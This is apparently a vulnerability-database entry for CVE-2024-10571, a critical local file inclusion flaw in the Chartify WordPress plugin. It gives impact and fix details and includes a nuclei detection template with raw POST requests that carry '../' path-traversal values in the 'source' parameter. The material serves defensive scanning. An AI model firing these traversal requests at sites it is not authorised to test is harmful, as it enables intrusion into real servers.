HexBrain

Browse / CVEs / CVE-2024-10571

CVE-2024-10571· ays-pro / chartify· CWE-98, NVD-CWE-Other

Chartify – WordPress Chart Plugin < 2.9.6 - Local File Inclusion

criticalseverity
9.8CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

The Chartify – WordPress Chart Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.9.5 via the 'source' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Impact

Unauthenticated attackers can include and execute arbitrary PHP files via the source parameter, potentially achieving complete server compromise.

Fix

Update Chartify plugin to version 2.9.6 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../wp-content/plugins/chart-builder/admin/partials/features/chart-builder-plugin-fea…
Positive when: contains in header "PHPSESSID"
Send: POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../wp-content/plugins/chart-builder/uninstall&type=chart-js
Positive when: contains_all(body, "ays-chart-heading-box", "View Documentation") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-10571 -u <target>

The full check
id: CVE-2024-10571

info:
  name: Chartify – WordPress Chart Plugin < 2.9.6 - Local File Inclusion
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The Chartify – WordPress Chart Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.9.5 via the 'source' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
  impact: |
    Unauthenticated attackers can include and execute arbitrary PHP files via the source parameter, potentially achieving complete server compromise.
  remediation: |
    Update Chartify plugin to version 2.9.6 or later.
  reference:
    - https://plugins.trac.wordpress.org/browser/chart-builder/tags/2.9.6/admin/partials/charts/actions/chart-builder-charts-actions-options.php?rev=3184238
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d4837258-c749-4194-926c-22b67e20c1fc?source=cve
    - https://github.com/RandomRobbieBF/CVE-2024-10571
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10571
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10571
    cwe-id: CWE-98,NVD-CWE-Other
    epss-score: 0.04809
    epss-percentile: 0.92034
    cpe: cpe:2.3:a:ays-pro:chartify:*:*:*:*:free:wordpress:*:*
  metadata:
    vendor: ays-pro
    product: chartify
    framework: wordpress
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/chart-builder/"
  tags: cve,cve2024,wp,wp-plugin,wordpress,chartify,chart-builder,lfi,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../wp-content/plugins/chart-builder/admin/partials/features/chart-builder-plugin-featured-display&type=chart-js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ays_chart_admin_ajax&function=display_plugin_charts_page&

    matchers:
      - type: word
        part: header
        words:
          - PHPSESSID
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../wp-content/plugins/chart-builder/uninstall&type=chart-js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ays_chart_admin_ajax&function=display_plugin_charts_page

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "ays-chart-heading-box", "View Documentation")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from